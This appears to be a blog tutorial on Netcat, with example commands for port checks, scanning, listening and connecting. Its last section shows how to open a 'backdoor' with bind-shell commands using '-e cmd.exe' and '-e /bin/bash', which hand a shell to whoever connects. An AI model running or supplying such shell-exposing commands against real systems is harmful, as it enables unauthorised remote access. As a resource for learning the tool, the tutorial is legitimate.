Netcat |
Swiss Army knife of hacking tools explained with examples
What is Netcat ?
Netcat (also
known as ‘Swiss Army Knife’) is a networking utility used for reading or
writing from TCP and UDP sockets using an easy interface. Netcat is designed as
a Dependable ‘back-end’ device that can be used directly or easily driven by
other programs and scripts.
Netcat is a treat to network administrators,
programmers, and pen-testers as it’s a feature rich network debugging and
investigation tool.
Netcat
tool is pre-installed in most of Linux operating system. You can also install
it manually.
Usages :-
Netcat can be used as a portscanning
tool, similar to Nmap. In addition, it can be used for port fording, proxying,
port listening, SSL secure tunnel, simple web server,transfer a file/data, bind
a program to a port and access it, network debugging and leaving an open
backdoor for the hacker.
The Netcat’s feacutres :-
1. Outbound or inbound connections, TCP or UDP, to or from any
ports
2. Full DNS forward/reverse checking, with appropriate warnings
3. Ability to use any local source port
4. Ability to use any locally configured network source
addresses
5. Built-in port-scanning capabilities, with randomization
6. Built-in loose Source-routing capability
7. Can read command line arguments from standard input
8. Slow-send due, one line every N seconds
9. Hex dump of transmitted and received data
10. Optional ability to let another program service establish
connections
Usages of NetCat tool with exapmles :-
Check whether port open
To
check for open ports on a system type command in your terminal nc -v
<system_ip> port{example nc -v 192.168.1.14 80}. You can
also use domain instead of system ip. To check system ipconfig run
command ifconfig in terminal for Linux and ipconfig in cmd
for windows.
Port scaning
For port scanning you have to run command nc -nvz <system_ip or
domain> <port_range> in your terminal.
Example :- nc -nvz 192.168.1.14 1-100
It will scan port from 1 to 100 of system 192.168.1.14 and display
result.
Port forward
or listning or open
You can forward and listen port on a computer system using Netcat tool
and you can connect from this system with another system.
For listen a port on your system you have run command nc -nvlp port
in linux. For windows you have to change directory where you have Nmap
installed and run this command ncat.exe -nvlp port in command
prompt.
Connect a system from forwarded port :-
After forwarding or listening port open terminal or command prompt on
second system and run command nc -nv <system_ip> port (for
linux) or ncat.exe -nv <system_ip> porty (for windows).
Example :-
I am using window for listen a port 100 and will connect Linux system
with windows system with port 100.
So, open command prompt (cmd) in
your windows system and change directory where you have Nmap installed. Now run
command ncat.exe -nvl 100.
Now open Linux system (I am using Kali Linux VMware) run nc -nv
<windwos_ip> 100 in terminal. Now Linux system is connected with
windows system, when you type anything in terminal it will also show in windows
cmd as you can see the following pictures :-
Windows backdoor or open cmd in terminal
You can open make backdoor on both windows and Linux system or can open
cmd in terminal or terminal in cmd.
Example :-
In this example I am going to open cmd in Linux terminal and after it we
can run all DOS command with terminal.
First of all you have to
run command on windows command prompt ncat.exe -nvlp port -e cmd.exe
, -e is used for execute for program when a system connect with port 100. Here
-e will execute cmd.exe when Linux connect with windows with port 100.To
connect Linux run command nc -nv <windows_ip> port After connected
you can run all DOS command in terminal and acces windows system with kali Linux
as you can see in the following pictures :-
Now, I am going to open terminal in windows command prompt. So open Linux
system and run command nc -nvlp <port> -e /bin/bash. Now open
cmd on windows system and run ncat.exe -nv <Linux_ip> <port>.
After connected you can run terminal commands in cmd and access Linux system
with windows cmd. See the following pictures :-
0 Comments